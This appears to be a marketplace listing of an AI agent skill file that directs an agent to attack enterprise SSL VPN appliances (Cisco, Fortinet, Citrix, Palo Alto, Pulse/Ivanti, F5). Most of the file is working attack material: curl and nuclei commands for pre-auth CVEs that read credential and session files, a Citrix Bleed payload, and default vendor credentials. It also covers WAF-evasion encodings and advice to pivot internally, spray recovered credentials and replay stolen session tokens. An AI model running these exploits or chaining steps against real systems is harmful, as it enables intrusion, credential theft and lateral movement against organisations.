hunt-vpn
Skill329 starsChanged 4 months agoMITView on GitHub
Enterprise SSL VPN attack - vendor fingerprinting, CVE matrix (Cisco, Fortinet, Citrix, Palo Alto, Pulse/Ivanti), default credentials, pre-auth exploit commands. Wiki-first, FIND schema output.
- Sends data out
In this repository56 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- hunt-burpSkill
- screenshot-burpSkill
- claude-md-improverSkill
- disclosureSkill
- hunt-adSkill
- hunt-apiSkill
- hunt-authSkill
- hunt-bizlogicSkill
- hunt-cacheSkill
- hunt-cicdSkill
- hunt-cloudSkill
- hunt-coreSkill
- hunt-deserializationSkill
- hunt-federationSkill
- hunt-icsSkill
- hunt-idorSkill
- hunt-injectionSkill
- hunt-llmSkill
- hunt-m365Skill
- hunt-macosSkill
- hunt-mcpSkill
- hunt-rceSkill
- hunt-secretsSkill
- hunt-smugglingSkill
- hunt-sqliSkill
- hunt-ssrfSkill
- hunt-uploadSkill
- hunt-windowsSkill
- hunt-xssSkill
- researchSkill
- wikiSkill
- arsenalSkill
- bb-workflowSkill
- campaign-healthSkill
- chrome-devtools-browserSkill
- coverageSkill
- ctf-boxSkill
- ctf-categorySkill
- ctf-workflowSkill
- delegateSkill
- evidenceSkill
- fuzzSkill
- ingestSkill
- learnSkill
- metasploitSkill
- ndaySkill
- next-moveSkill
- pt-workflowSkill
- redteamleadSkill
- research-ingestSkill
- screenshotSkill
- triageSkill
- walkthroughSkill
- wiki-arsenalSkill
- wiki-reconSkill
The file
We split this skill into the rules it gives an agent
4 rules. About 0 are common, 3 are distinctive, and 1 is very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈3
Distinctive · estimate
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 108
Run nuclei templates for detected vendor + version
- Very specific: line 109
Test pre-auth path traversal CVEs with --path-as-is flag
- Distinctive: line 111
Document with version banner + curl command output as PoC
- Distinctive: line 126
Keep default-cred and CVE probes low-volume by design.
≈ “Common” is an estimate: at least 1 in 5 of the 213,895 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Hunt: Enterprise VPN Appliances
Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
Wiki
qmd_query "SSL VPN Fortinet Citrix Cisco Palo Alto Pulse Ivanti CVE default credentials pre-auth exploit" via wiki-search MCPHub: [[network-moc]] (live index). Primary page: [[network-service-attacks]] (VPN-protocol section: IKE aggressive-mode PSK capture, PPTP handshake capture). CVE arsenal: wiki/cheatsheets/cve-arsenal.md (Perimeter / VPN / edge - Fortinet/Citrix/Ivanti/PAN-OS/Cisco pre-auth CVEs with PoC). Default creds: wiki/cheatsheets/default-credentials.md.
Anchors: [[network-discovery]] (locating and banner-fingerprinting the exposed appliance).
When to Use
Recon surfaces: +CSCOE+ paths (Cisco ASA), Set-Cookie: SVPNCOOKIE= (Fortinet), NSC_AAA= (Citrix), DSAuthSession= (Pulse), BIGipServer* (F5), ports 443/8443/10443 with VPN login pages.
Attack surface (ranked)
Work top-down; exploit the first rung that lands, do not jump to CVEs before fingerprinting.
- Vendor fingerprint (cookie / header / login-page path) - which appliance, then which page below.
- Version fingerprint (JS file paths, meta tags, build strings) - narrows the CVE matrix to what actually applies to this build.
- Default credentials (short known-list, non-disruptive) - cheapest full-admin win, try before CVEs.
- Pre-auth CVE for the fingerprinted vendor + version - file read, session-token leak, or RCE.
Vendor Fingerprinting
# Cisco ASA / AnyConnect
curl -skI 'https://target/+CSCOE+/logon.html' | head -5
# Fortinet FortiGate
curl -skI 'https://target/remote/login' | grep -i 'set-cookie\|server'
# Citrix NetScaler / Gateway
curl -skI 'https://target/' | grep -i 'nsc_aaa\|netscaler'
# Palo Alto GlobalProtect
curl -skI 'https://target/global-protect/login.esp' | head -5
# Pulse / Ivanti Connect Secure
curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -5
# F5 BIG-IP
curl -skI 'https://target/my.policy' | grep -i 'bigip\|mrhsession'CVE Matrix - Pre-Auth Exploits
Cisco ASA
| CVE | Type | Command |
| CVE-2020-3452 | Path traversal / file read | curl --path-as-is 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' |
| CVE-2018-0296 | Path traversal / session info | curl --path-as-is 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' |
Fortinet FortiGate
| CVE | Type | Command |
| CVE-2018-13379 | Path traversal / credential file | curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession' |
| CVE-2024-21762 | Pre-auth RCE | nuclei -u https://target -t cves/2024/CVE-2024-21762.yaml |
| CVE-2023-27997 | Pre-auth RCE (XORtigate) | nuclei -u https://target -t cves/2023/CVE-2023-27997.yaml |
Citrix NetScaler / ADC
| CVE | Type | Command |
| CVE-2023-4966 (Citrix Bleed) | Memory leak / session token | See payload below |
| CVE-2023-3519 | Pre-auth RCE | nuclei -u https://target -t cves/2023/CVE-2023-3519.yaml |
| CVE-2019-19781 | Path traversal / RCE | curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf' |
Citrix Bleed (CVE-2023-4966):
HOST=$(python3 -c "print('A' * 24812)")
curl -sk -X POST -H "Host: $HOST" \
"https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
wc -c response.txt # a large response only FLAGS it; grep the body for real session-token material before claiming BleedPalo Alto GlobalProtect
| CVE | Type | Command |
| CVE-2024-3400 | Pre-auth RCE (OS command injection) | nuclei -u https://target -t cves/2024/CVE-2024-3400.yaml |
Pulse / Ivanti Connect Secure
| CVE | Type | Command |
| CVE-2019-11510 | Pre-auth file read | curl -sk 'https://target/dana-na/../dana/html5acc/guacamole/../../../tmp/system.log?/dana/html5acc/guacamole/' |
| CVE-2024-21887 | RCE (auth required) | nuclei -u https://target -t cves/2024/CVE-2024-21887.yaml |
Default Credential Check
Short known-list per vendor, non-disruptive: try each pair once after fingerprinting, before CVE attempts. This is a bounded default-cred check, not a spray - do NOT loop it into a wordlist (hunt-core enumeration limits; broad spraying is lockout-bounded and a last resort). Cross-check [[default-credentials]] first.
# Cisco ASA: admin / cisco, admin / admin
# Fortinet: admin / (blank), admin / admin
# Citrix: nsroot / nsroot
# Palo Alto: admin / admin
# F5: admin / admin, admin / defaultMethodology
- Fingerprint vendor from cookie names, headers, login page content
- Version fingerprint where possible (JS file paths, meta tags)
- Try default credentials (non-disruptive)
- Run nuclei templates for detected vendor + version
- Test pre-auth path traversal CVEs with
--path-as-isflag - For confirmed vulnerabilities: escalate to credential/session extraction
- Document with version banner + curl command output as PoC
- Distill a confirmed, reusable VPN exploit/CVE via the hunt-core distillation step,
python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/network/vpn-appliances.md.
Chaining
A VPN foothold is network access, not the endgame. On confirmed creds / session / RCE:
- Authenticated session or admin -> pivot into the internal network the appliance fronts: [[network-pivoting-techniques]], [[pivoting-tunneling]].
- Recovered credentials (config dumps, FortiOS
sslvpn_websession, IKE PSK) are frequently reused - spray against internal SSH/RDP/SMB and hand off tohunt-ad. - Citrix Bleed / session-token leaks -> replay the token to ride an authenticated session, then continue as that user.
Evasion
--path-as-is(already in the traversal commands) stops curl collapsing../- mandatory for the path-traversal CVEs.- URL-encode the traversal and marker segments when a WAF blocks the literal:
%2e%2e%2f,%2bCSCOE%2bfor Cisco's+CSCOE+,%00/%0awhere the parser tolerates it. - Hit the non-standard portal ports (8443/10443) - a WAF fronting 443 may not sit in front of them.
- Keep default-cred and CVE probes low-volume by design; do not convert either into a spray/fuzz loop.
Confirmation gate
NOT confirmation: a version banner or build string that matches a CVE (that is a fingerprint, not exploitation); the VPN login page loading or a 200 on the portal; a nuclei info/detected hit with no primitive exercised; the Citrix Bleed response merely being large (>10KB) without session-token material actually present in the body; a default-cred login form that renders (vs a session that authenticates); a file-read path that returns 200 with an empty, shell, or error body.
IS confirmation: a pre-auth file read that returns the actual sensitive contents, structure matching the target file (FortiOS sslvpn_websession credential blob, Ivanti system.log, Citrix smb.conf); Citrix Bleed returning real session-token material you can replay into an authenticated session; default creds that land you on an authenticated admin / management page; a pre-auth RCE whose command output you observe inline or out-of-band - reproduced in a clean session per hunt-core.
A version match alone is a lead to exploit, never a finding. Demonstrate the primitive or it stays out of the FIND queue.
Severity
Rated on the primitive demonstrated, not the version detected.
| Outcome | Typical |
| Pre-auth RCE / OS command injection | critical |
Pre-auth file read of credential or session material (config, sslvpn_websession, Citrix Bleed token) | critical |
| Auth bypass to admin (e.g. CVE-2022-40684) | critical |
| Default credentials authenticate to admin / management | high (critical if internet-facing admin) |
| Version confirmed vulnerable, exploit not demonstrated | not a FIND - lead only (see confirmation gate) |
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

